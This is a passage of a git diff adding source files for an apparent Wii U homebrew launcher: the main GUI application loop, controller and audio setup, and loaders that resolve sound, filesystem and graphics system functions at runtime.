PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#include "Application.h" +#include "common/common.h" +#include "dynamic_libs/os_functions.h" +#include "gui/FreeTypeGX.h" +#include "gui/VPadController.h" +#include "gui/WPadController.h" +#include "resources/Resources.h" +#include "sounds/SoundHandler.hpp" +#include "utils/logger.h" + +Application *Application::applicationInstance = NULL; +bool Application::exitApplication = false; + +Application::Application() + : CThread(CThread::eAttributeAffCore0 | CThread::eAttributePinnedAff, 0, 0x20000) + , bgMusic(NULL) + , video(NULL) + , mainWindow(NULL) + , exitCode(EXIT_RELAUNCH_ON_LOAD) +{ + controller[0] = new VPadController(GuiTrigger::CHANNEL_1); + controller[1] = new WPadController(GuiTrigger::CHANNEL_2); + controller[2] = new WPadController(GuiTrigger::CHANNEL_3); + controller[3] = new WPadController(GuiTrigger::CHANNEL_4); + controller[4] = new WPadController(GuiTrigger::CHANNEL_5); + + //! load resources + Resources::LoadFiles("sd:/wiiu/apps/homebrew_launcher/resources"); + + //! create bgMusic + bgMusic = new GuiSound(Resources::GetFile("bgMusic.ogg"), Resources::GetFileSize("bgMusic.ogg")); + bgMusic->SetLoop(true); + bgMusic->Play(); + bgMusic->SetVolume(50); + + exitApplication = false; +} + +Application::~Application() +{ + log_printf("Destroy music\n"); + + delete bgMusic; + + log_printf("Destroy controller\n"); + + for(int i = 0; i < 5; i++) + delete controller[i]; + + log_printf("Destroy async deleter\n"); + AsyncDeleter::destroyInstance(); + + log_printf("Clear resources\n"); + Resources::Clear(); + + log_printf("Stop sound handler\n"); + SoundHandler::DestroyInstance(); +} + +int Application::exec() +{ + //! start main GX2 thread + resumeThread(); + //! now wait for thread to finish + shutdownThread(); + + return exitCode; +} + +void Application::fadeOut() +{ + GuiImage fadeOut(video->getTvWidth(), video->getTvHeight(), (GX2Color){ 0, 0, 0, 255 }); + + for(int i = 0; i < 255; i += 10) + { + if(i > 255) + i = 255; + + fadeOut.setAlpha(i / 255.0f); + + //! start rendering DRC + video->prepareDrcRendering(); + mainWindow->drawDrc(video); + + GX2SetDepthOnlyControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_ALWAYS); + fadeOut.draw(video); + GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_LEQUAL); + + video->drcDrawDone(); + + //! start rendering TV + video->prepareTvRendering(); + + mainWindow->drawTv(video); + + GX2SetDepthOnlyControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_ALWAYS); + fadeOut.draw(video); + GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_LEQUAL); + + video->tvDrawDone(); + + //! as last point update the effects as it can drop elements + mainWindow->updateEffects(); + + video->waitForVSync(); + } + + //! one last cleared black screen + video->prepareDrcRendering(); + video->drcDrawDone(); + video->prepareTvRendering(); + video->tvDrawDone(); + video->waitForVSync(); + video->tvEnable(false); + video->drcEnable(false); +} + +void Application::executeThread(void) +{ + log_printf("Initialize video\n"); + video = new CVideo(GX2_TV_SCAN_MODE_720P, GX2_DRC_SINGLE); + + log_printf("Video size %i x %i\n", video->getTvWidth(), video->getTvHeight()); + + //! setup default Font + log_printf("Initialize main font system\n"); + FreeTypeGX *fontSystem = new FreeTypeGX(Resources::GetFile("font.ttf"), Resources::GetFileSize("font.ttf"), true); + GuiText::setPresetFont(fontSystem); + + log_printf("Initialize main window\n"); + + mainWindow = new MainWindow(video->getTvWidth(), video->getTvHeight()); + + log_printf("Entering main loop\n"); + + //! main GX2 loop (60 Hz cycle with max priority on core 1) + while(!exitApplication) + { + //! Read out inputs + for(int i = 0; i < 5; i++) + { + if(controller[i]->update(video->getTvWidth(), video->getTvHeight()) == false) + continue; + + if(controller[i]->data.buttons_d & VPAD_BUTTON_HOME) + exitApplication = true; + + //! update controller states + mainWindow->update(controller[i]); + } + + //! start rendering DRC + video->prepareDrcRendering(); + mainWindow->drawDrc(video); + video->drcDrawDone(); + + //! start rendering TV + video->prepareTvRendering(); + mainWindow->drawTv(video); + video->tvDrawDone(); + + //! enable screen after first frame render + if(video->getFrameCount() == 0) { + video->tvEnable(true); + video->drcEnable(true); + } + + //! as last point update the effects as it can drop elements + mainWindow->updateEffects(); + + video->waitForVSync(); + + //! transfer elements to real delete list here after all processes are finished + //! the elements are transfered to another list to delete the elements in a separate thread + //! and avoid blocking the GUI thread + AsyncDeleter::triggerDeleteProcess(); + } + + fadeOut(); + + delete mainWindow; + delete fontSystem; + delete video; +} diff --git a/src/Application.h b/src/Application.h new file mode 100644 index 0000000..e75a489 --- /dev/null +++ b/src/Application.h @@ -0,0 +1,74 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef _APPLICATION_H +#define _APPLICATION_H + +#include "menu/MainWindow.h" +#include "video/CVideo.h" +#include "system/CThread.h" + +class Application : public CThread +{ +public: + static Application * instance() { + if(!applicationInstance) + applicationInstance = new Application(); + return applicationInstance; + } + static void destroyInstance() { + if(applicationInstance) { + delete applicationInstance; + applicationInstance = NULL; + } + } + + CVideo *getVideo(void) const { + return video; + } + MainWindow *getMainWindow(void) const { + return mainWindow; + } + + GuiSound *getBgMusic(void) const { + return bgMusic; + } + + int exec(void); + void fadeOut(void); + + void quit(int code) { + exitCode = code; + exitApplication = true; + } + +private: + Application(); + virtual ~Application(); + + static Application *applicationInstance; + static bool exitApplication; + + void executeThread(void); + + GuiSound *bgMusic; + CVideo *video; + MainWindow *mainWindow; + GuiController *controller[5]; + int exitCode; +}; + +#endif //_APPLICATION_H diff --git a/src/common/common.h b/src/common/common.h new file mode 100644 index 0000000..4b7848a --- /dev/null +++ b/src/common/common.h @@ -0,0 +1,37 @@ +#ifndef COMMON_H +#define COMMON_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include "os_defs.h" + +#define HBL_VERSION "v0.1" + +#define CAFE_OS_SD_PATH "/vol/external01" +#define SD_PATH "sd:" +#define WIIU_PATH "/wiiu" + +#ifndef MEM_BASE +#define MEM_BASE (0x00800000) +#endif + +#define ELF_DATA_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x00)) +#define ELF_DATA_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x04)) +#define MAIN_ENTRY_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x00)) +#define OS_FIRMWARE (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x04)) + +#define OS_SPECIFICS ((OsSpecifics*)(MEM_BASE + 0x1500)) + +#ifndef EXIT_SUCCESS +#define EXIT_SUCCESS 0 +#endif +#define EXIT_RELAUNCH_ON_LOAD 0xFFFFFFFD + +#ifdef __cplusplus +} +#endif + +#endif /* COMMON_H */ + diff --git a/src/common/fs_defs.h b/src/common/fs_defs.h new file mode 100644 index 0000000..feda725 --- /dev/null +++ b/src/common/fs_defs.h @@ -0,0 +1,62 @@ +#ifndef FS_DEFS_H +#define FS_DEFS_H + +#include "types.h" + +#ifdef __cplusplus +extern "C" { +#endif + + +/* FS defines and types */ +#define FS_MAX_LOCALPATH_SIZE 511 +#define FS_MAX_MOUNTPATH_SIZE 128 +#define FS_MAX_FULLPATH_SIZE (FS_MAX_LOCALPATH_SIZE + FS_MAX_MOUNTPATH_SIZE) +#define FS_MAX_ARGPATH_SIZE FS_MAX_FULLPATH_SIZE + +#define FS_STATUS_OK 0 +#define FS_RET_UNSUPPORTED_CMD 0x0400 +#define FS_RET_NO_ERROR 0x0000 +#define FS_RET_ALL_ERROR (unsigned int)(-1) + +#define FS_STAT_FLAG_IS_DIRECTORY 0x80000000 + +/* max length of file/dir name */ +#define FS_MAX_ENTNAME_SIZE 256 + +#define FS_SOURCETYPE_EXTERNAL 0 +#define FS_SOURCETYPE_HFIO 1 +#define FS_SOURCETYPE_HFIO 1 + +#define FS_MOUNT_SOURCE_SIZE 0x300 +#define FS_CLIENT_SIZE 0x1700 +#define FS_CMD_BLOCK_SIZE 0xA80 + +typedef struct +{ + uint32_t flag; + uint32_t permission; + uint32_t owner_id; + uint32_t group_id; + uint32_t size; + uint32_t alloc_size; + uint64_t quota_size; + uint32_t ent_id; + uint64_t ctime; + uint64_t mtime; + uint8_t attributes[48]; +} __attribute__((packed)) FSStat; + +typedef struct +{ + FSStat stat; + char name[FS_MAX_ENTNAME_SIZE]; +} FSDirEntry; + + +#ifdef __cplusplus +} +#endif + +#endif /* FS_DEFS_H */ + diff --git a/src/common/os_defs.h b/src/common/os_defs.h new file mode 100644 index 0000000..48a4c8f --- /dev/null +++ b/src/common/os_defs.h @@ -0,0 +1,25 @@ +#ifndef __OS_DEFS_H_ +#define __OS_DEFS_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct _OsSpecifics +{ + unsigned int addr_OSDynLoad_Acquire; + unsigned int addr_OSDynLoad_FindExport; + unsigned int addr_OSTitle_main_entry; + + unsigned int addr_KernSyscallTbl1; + unsigned int addr_KernSyscallTbl2; + unsigned int addr_KernSyscallTbl3; + unsigned int addr_KernSyscallTbl4; + unsigned int addr_KernSyscallTbl5; +} OsSpecifics; + +#ifdef __cplusplus +} +#endif + +#endif // __OS_DEFS_H_ diff --git a/src/common/types.h b/src/common/types.h new file mode 100644 index 0000000..3435e56 --- /dev/null +++ b/src/common/types.h @@ -0,0 +1,7 @@ +#ifndef TYPES_H +#define TYPES_H + +#include + +#endif /* TYPES_H */ + diff --git a/src/dynamic_libs/ax_functions.c b/src/dynamic_libs/ax_functions.c new file mode 100644 index 0000000..d84d6f8 --- /dev/null +++ b/src/dynamic_libs/ax_functions.c @@ -0,0 +1,74 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "os_functions.h" +#include "ax_functions.h" + +EXPORT_DECL(void, AXInitWithParams, u32 * params); +EXPORT_DECL(void, AXQuit, void); +EXPORT_DECL(u32, AXGetInputSamplesPerSec, void); +EXPORT_DECL(u32, AXGetInputSamplesPerFrame, void); +EXPORT_DECL(s32, AXVoiceBegin, void *v); +EXPORT_DECL(s32, AXVoiceEnd, void *v); +EXPORT_DECL(void, AXSetVoiceType, void *v, u16 type); +EXPORT_DECL(void, AXSetVoiceOffsets, void *v, const void *buf); +EXPORT_DECL(void, AXSetVoiceSrcType, void *v, u32 type); +EXPORT_DECL(void, AXSetVoiceVe, void *v, const void *vol); +EXPORT_DECL(s32, AXSetVoiceDeviceMix, void *v, s32 device, u32 id, void *mix); +EXPORT_DECL(void, AXSetVoiceState, void *v, u16 state); +EXPORT_DECL(void, AXSetVoiceSrc, void *v, const void *src); +EXPORT_DECL(s32, AXSetVoiceSrcRatio, void *v,f32 ratio) +EXPORT_DECL(void *, AXAcquireVoice, u32 prio, void * callback, u32 arg); +EXPORT_DECL(void, AXFreeVoice, void *v); +EXPORT_DECL(void, AXRegisterFrameCallback, void * callback); +EXPORT_DECL(u32, AXGetVoiceLoopCount, void *v); +EXPORT_DECL(void, AXSetVoiceEndOffset, void *v, u32 offset); +EXPORT_DECL(void, AXSetVoiceLoopOffset, void *v, u32 offset); + +void InitAXFunctionPointers(void) +{ + unsigned int *funcPointer = 0; + unsigned int sound_handle; + OSDynLoad_Acquire("sndcore2.rpl", &sound_handle); + + OS_FIND_EXPORT(sound_handle, AXInitWithParams); + OS_FIND_EXPORT(sound_handle, AXQuit); + OS_FIND_EXPORT(sound_handle, AXGetInputSamplesPerSec); + OS_FIND_EXPORT(sound_handle, AXVoiceBegin); + OS_FIND_EXPORT(sound_handle, AXVoiceEnd); + OS_FIND_EXPORT(sound_handle, AXSetVoiceType); + OS_FIND_EXPORT(sound_handle, AXSetVoiceOffsets); + OS_FIND_EXPORT(sound_handle, AXSetVoiceSrcType); + OS_FIND_EXPORT(sound_handle, AXSetVoiceVe); + OS_FIND_EXPORT(sound_handle, AXSetVoiceDeviceMix); + OS_FIND_EXPORT(sound_handle, AXSetVoiceState); + OS_FIND_EXPORT(sound_handle, AXSetVoiceSrc); + OS_FIND_EXPORT(sound_handle, AXSetVoiceSrcRatio); + OS_FIND_EXPORT(sound_handle, AXAcquireVoice); + OS_FIND_EXPORT(sound_handle, AXFreeVoice); + OS_FIND_EXPORT(sound_handle, AXRegisterFrameCallback); + OS_FIND_EXPORT(sound_handle, AXGetVoiceLoopCount); + OS_FIND_EXPORT(sound_handle, AXSetVoiceEndOffset); + OS_FIND_EXPORT(sound_handle, AXSetVoiceLoopOffset); +} + diff --git a/src/dynamic_libs/ax_functions.h b/src/dynamic_libs/ax_functions.h new file mode 100644 index 0000000..df9647c --- /dev/null +++ b/src/dynamic_libs/ax_functions.h @@ -0,0 +1,59 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef __AX_FUNCTIONS_H_ +#define __AX_FUNCTIONS_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#include + +void InitAXFunctionPointers(void); + +extern void (* AXInitWithParams)(u32 * params); +extern void (* AXQuit)(void); +extern u32 (* AXGetInputSamplesPerSec)(void); +extern s32 (* AXVoiceBegin)(void *v); +extern s32 (* AXVoiceEnd)(void *v); +extern void (* AXSetVoiceType)(void *v, u16 type); +extern void (* AXSetVoiceOffsets)(void *v, const void *buf); +extern void (* AXSetVoiceSrcType)(void *v, u32 type); +extern void (* AXSetVoiceVe)(void *v, const void *vol); +extern s32 (* AXSetVoiceDeviceMix)(void *v, s32 device, u32 id, void *mix); +extern void (* AXSetVoiceState)(void *v, u16 state); +extern void (* AXSetVoiceSrc)(void *v, const void *src); +extern s32 (* AXSetVoiceSrcRatio)(void *v, f32 ratio); +extern void * (* AXAcquireVoice)(u32 prio, void * callback, u32 arg); +extern void (* AXFreeVoice)(void *v); +extern void (* AXRegisterFrameCallback)(void * callback); +extern u32 (* AXGetVoiceLoopCount)(void * v); +extern void (* AXSetVoiceEndOffset)(void * v, u32 offset); +extern void (* AXSetVoiceLoopOffset)(void * v, u32 offset); + +#ifdef __cplusplus +} +#endif + +#endif // __VPAD_FUNCTIONS_H_ diff --git a/src/dynamic_libs/fs_functions.c b/src/dynamic_libs/fs_functions.c new file mode 100644 index 0000000..cdcc0bf --- /dev/null +++ b/src/dynamic_libs/fs_functions.c @@ -0,0 +1,120 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "fs_functions.h" +#include "os_functions.h" +#include "utils/utils.h" + +EXPORT_DECL(int, FSInit, void); +EXPORT_DECL(int, FSShutdown, void); +EXPORT_DECL(int, FSAddClientEx, void *pClient, int unk_zero_param, int errHandling); +EXPORT_DECL(int, FSDelClient, void *pClient); +EXPORT_DECL(void, FSInitCmdBlock, void *pCmd); +EXPORT_DECL(int, FSGetMountSource, void *pClient, void *pCmd, int type, void *source, int errHandling); + +EXPORT_DECL(int, FSMount, void *pClient, void *pCmd, void *source, char *target, uint32_t bytes, int errHandling); +EXPORT_DECL(int, FSUnmount, void *pClient, void *pCmd, const char *target, int errHandling); + +EXPORT_DECL(int, FSGetStat, void *pClient, void *pCmd, const char *path, FSStat *stats, int errHandling); +EXPORT_DECL(int, FSGetStatAsync, void *pClient, void *pCmd, const char *path, void *stats, int error, void *asyncParams); +EXPORT_DECL(int, FSRename, void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error); +EXPORT_DECL(int, FSRenameAsync, void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error, void *asyncParams); +EXPORT_DECL(int, FSRemove, void *pClient, void *pCmd, const char *path, int error); +EXPORT_DECL(int, FSRemoveAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); +EXPORT_DECL(int, FSFlushQuota, void *pClient, void *pCmd, const char* path, int error); +EXPORT_DECL(int, FSFlushQuotaAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); +EXPORT_DECL(int, FSGetFreeSpaceSize, void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error); +EXPORT_DECL(int, FSGetFreeSpaceSizeAsync, void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error, void *asyncParams); +EXPORT_DECL(int, FSRollbackQuota, void *pClient, void *pCmd, const char *path, int error); +EXPORT_DECL(int, FSRollbackQuotaAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); + +EXPORT_DECL(int, FSOpenDir, void *pClient, void *pCmd, const char *path, int *dh, int errHandling); +EXPORT_DECL(int, FSOpenDirAsync, void *pClient, void* pCmd, const char *path, int *handle, int error, void *asyncParams); +EXPORT_DECL(int, FSReadDir, void *pClient, void *pCmd, int dh, FSDirEntry *dir_entry, int errHandling); +EXPORT_DECL(int, FSRewindDir, void *pClient, void *pCmd, int dh, int errHandling); +EXPORT_DECL(int, FSCloseDir, void *pClient, void *pCmd, int dh, int errHandling); +EXPORT_DECL(int, FSChangeDir, void *pClient, void *pCmd, const char *path, int errHandling); +EXPORT_DECL(int, FSChangeDirAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); +EXPORT_DECL(int, FSMakeDir, void *pClient, void *pCmd, const char *path, int errHandling); +EXPORT_DECL(int, FSMakeDirAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); + +EXPORT_DECL(int, FSOpenFile, void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling); +EXPORT_DECL(int, FSOpenFileAsync, void *pClient, void *pCmd, const char *path, const char *mode, int *handle, int error, const void *asyncParams); +EXPORT_DECL(int, FSReadFile, void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling); +EXPORT_DECL(int, FSCloseFile, void *pClient, void *pCmd, int fd, int errHandling); + +EXPORT_DECL(int, FSFlushFile, void *pClient, void *pCmd, int fd, int error); +EXPORT_DECL(int, FSTruncateFile, void *pClient, void *pCmd, int fd, int error); +EXPORT_DECL(int, FSGetStatFile, void *pClient, void *pCmd, int fd, void *buffer, int error); +EXPORT_DECL(int, FSSetPosFile, void *pClient, void *pCmd, int fd, int pos, int error); +EXPORT_DECL(int, FSWriteFile, void *pClient, void *pCmd, const void *source, int block_size, int block_count, int fd, int flag, int error); + +void InitFSFunctionPointers(void) +{ + unsigned int *funcPointer = 0; + + OS_FIND_EXPORT(coreinit_handle, FSInit); + OS_FIND_EXPORT(coreinit_handle, FSShutdown); + OS_FIND_EXPORT(coreinit_handle, FSAddClientEx); + OS_FIND_EXPORT(coreinit_handle, FSDelClient); + OS_FIND_EXPORT(coreinit_handle, FSInitCmdBlock); + OS_FIND_EXPORT(coreinit_handle, FSGetMountSource); + + OS_FIND_EXPORT(coreinit_handle, FSMount); + OS_FIND_EXPORT(coreinit_handle, FSUnmount); + + OS_FIND_EXPORT(coreinit_handle, FSGetStat); + OS_FIND_EXPORT(coreinit_handle, FSGetStatAsync); + OS_FIND_EXPORT(coreinit_handle, FSRename); + OS_FIND_EXPORT(coreinit_handle, FSRenameAsync); + OS_FIND_EXPORT(coreinit_handle, FSRemove); + OS_FIND_EXPORT(coreinit_handle, FSRemoveAsync); + OS_FIND_EXPORT(coreinit_handle, FSFlushQuota); + OS_FIND_EXPORT(coreinit_handle, FSFlushQuotaAsync); + OS_FIND_EXPORT(coreinit_handle, FSGetFreeSpaceSize); + OS_FIND_EXPORT(coreinit_handle, FSGetFreeSpaceSizeAsync); + OS_FIND_EXPORT(coreinit_handle, FSRollbackQuota); + OS_FIND_EXPORT(coreinit_handle, FSRollbackQuotaAsync); + + OS_FIND_EXPORT(coreinit_handle, FSOpenDir); + OS_FIND_EXPORT(coreinit_handle, FSOpenDirAsync); + OS_FIND_EXPORT(coreinit_handle, FSReadDir); + OS_FIND_EXPORT(coreinit_handle, FSRewindDir); + OS_FIND_EXPORT(coreinit_handle, FSCloseDir); + OS_FIND_EXPORT(coreinit_handle, FSChangeDir); + OS_FIND_EXPORT(coreinit_handle, FSChangeDirAsync); + OS_FIND_EXPORT(coreinit_handle, FSMakeDir); + OS_FIND_EXPORT(coreinit_handle, FSMakeDirAsync); + + + OS_FIND_EXPORT(coreinit_handle, FSOpenFile); + OS_FIND_EXPORT(coreinit_handle, FSOpenFileAsync); + OS_FIND_EXPORT(coreinit_handle, FSReadFile); + OS_FIND_EXPORT(coreinit_handle, FSCloseFile); + + OS_FIND_EXPORT(coreinit_handle, FSFlushFile); + OS_FIND_EXPORT(coreinit_handle, FSTruncateFile); + OS_FIND_EXPORT(coreinit_handle, FSGetStatFile); + OS_FIND_EXPORT(coreinit_handle, FSSetPosFile); + OS_FIND_EXPORT(coreinit_handle, FSWriteFile); +} diff --git a/src/dynamic_libs/fs_functions.h b/src/dynamic_libs/fs_functions.h new file mode 100644 index 0000000..7a185e1 --- /dev/null +++ b/src/dynamic_libs/fs_functions.h @@ -0,0 +1,87 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef __FS_FUNCTIONS_H_ +#define __FS_FUNCTIONS_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#include "common/fs_defs.h" + +void InitFSFunctionPointers(void); + +extern int (* FSInit)(void); +extern int (* FSShutdown)(void); +extern int (* FSAddClientEx)(void *pClient, int unk_zero_param, int errHandling); +extern int (* FSDelClient)(void *pClient); +extern void (* FSInitCmdBlock)(void *pCmd); +extern int (* FSGetMountSource)(void *pClient, void *pCmd, int type, void *source, int errHandling); + +extern int (* FSMount)(void *pClient, void *pCmd, void *source, char *target, uint32_t bytes, int errHandling); +extern int (* FSUnmount)(void *pClient, void *pCmd, const char *target, int errHandling); +extern int (* FSRename)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error); +extern int (* FSRenameAsync)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error, void *asyncParams); +extern int (* FSRemove)(void *pClient, void *pCmd, const char *path, int error); +extern int (* FSRemoveAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); + +extern int (* FSGetStat)(void *pClient, void *pCmd, const char *path, FSStat *stats, int errHandling); +extern int (* FSGetStatAsync)(void *pClient, void *pCmd, const char *path, void *stats, int error, void *asyncParams); +extern int (* FSRename)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error); +extern int (* FSRenameAsync)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error, void *asyncParams); +extern int (* FSRemove)(void *pClient, void *pCmd, const char *path, int error); +extern int (* FSRemoveAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); +extern int (* FSFlushQuota)(void *pClient, void *pCmd, const char* path, int error); +extern int (* FSFlushQuotaAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); +extern int (* FSGetFreeSpaceSize)(void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error); +extern int (* FSGetFreeSpaceSizeAsync)(void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error, void *asyncParams); +extern int (* FSRollbackQuota)(void *pClient, void *pCmd, const char *path, int error); +extern int (* FSRollbackQuotaAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); + +extern int (* FSOpenDir)(void *pClient, void *pCmd, const char *path, int *dh, int errHandling); +extern int (* FSOpenDirAsync)(void *pClient, void* pCmd, const char *path, int *handle, int error, void *asyncParams); +extern int (* FSReadDir)(void *pClient, void *pCmd, int dh, FSDirEntry *dir_entry, int errHandling); +extern int (* FSRewindDir)(void *pClient, void *pCmd, int dh, int errHandling); +extern int (* FSCloseDir)(void *pClient, void *pCmd, int dh, int errHandling); +extern int (* FSChangeDir)(void *pClient, void *pCmd, const char *path, int errHandling); +extern int (* FSChangeDirAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); +extern int (* FSMakeDir)(void *pClient, void *pCmd, const char *path, int errHandling); +extern int (* FSMakeDirAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); + +extern int (* FSOpenFile)(void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling); +extern int (* FSOpenFileAsync)(void *pClient, void *pCmd, const char *path, const char *mode, int *handle, int error, const void *asyncParams); +extern int (* FSReadFile)(void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling); +extern int (* FSCloseFile)(void *pClient, void *pCmd, int fd, int errHandling); + +extern int (* FSFlushFile)(void *pClient, void *pCmd, int fd, int error); +extern int (* FSTruncateFile)(void *pClient, void *pCmd, int fd, int error); +extern int (* FSGetStatFile)(void *pClient, void *pCmd, int fd, void *buffer, int error); +extern int (* FSSetPosFile)(void *pClient, void *pCmd, int fd, int pos, int error); +extern int (* FSWriteFile)(void *pClient, void *pCmd, const void *source, int block_size, int block_count, int fd, int flag, int error); + +#ifdef __cplusplus +} +#endif + +#endif // __FS_FUNCTIONS_H_ diff --git a/src/dynamic_libs/gx2_functions.c b/src/dynamic_libs/gx2_functions.c new file mode 100644 index 0000000..b9bf671 --- /dev/null +++ b/src/dynamic_libs/gx2_functions.c @@ -0,0 +1,162 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "os_functions.h" +#include "gx2_types.h" +#include "utils/utils.h" + +EXPORT_DECL(void, GX2Init, u32 * init_attribs); +EXPORT_DECL(void, GX2Shutdown, void); +EXPORT_DECL(void, GX2Flush, void); +EXPORT_DECL(s32, GX2GetMainCoreId, void) ; +EXPORT_DECL(s32, GX2DrawDone, void); +EXPORT_DECL(void, GX2ClearColor, GX2ColorBuffer *colorBuffer, f32 r, f32 g, f32 b, f32 a); +EXPORT_DECL(void, GX2SetViewport, f32 x, f32 y, f32 w, f32 h, f32 nearZ, f32 farZ); +EXPORT_DECL(void, GX2SetScissor, u32 x_orig, u32 y_orig, u32 wd, u32 ht); +EXPORT_DECL(void, GX2SetContextState, const GX2ContextState* state); +EXPORT_DECL(void, GX2DrawEx, s32 primitive_type, u32 count, u32 first_vertex, u32 instances_count); +EXPORT_DECL(void, GX2DrawIndexedEx, s32 primitive_type, u32 count, s32 index_format, const void* idx, u32 first_vertex, u32 instances_count); +EXPORT_DECL(void, GX2ClearDepthStencilEx, GX2DepthBuffer *depthBuffer, f32 depth_value, u8 stencil_value, s32 clear_mode); +EXPORT_DECL(void, GX2CopyColorBufferToScanBuffer, const GX2ColorBuffer *colorBuffer, s32 scan_target); +EXPORT_DECL(void, GX2SwapScanBuffers, void); +EXPORT_DECL(void, GX2SetTVEnable, s32 enable); +EXPORT_DECL(void, GX2SetSwapInterval, u32 swap_interval); +EXPORT_DECL(u32, GX2GetSwapInterval, void); +EXPORT_DECL(void, GX2WaitForVsync, void); +EXPORT_DECL(void, GX2CalcTVSize, s32 tv_render_mode, s32 format, s32 buffering_mode, u32 * size, s32 * scale_needed); +EXPORT_DECL(void, GX2Invalidate, s32 invalidate_type, void * ptr, u32 buffer_size); +EXPORT_DECL(void, GX2SetTVBuffer, void *buffer, u32 buffer_size, s32 tv_render_mode, 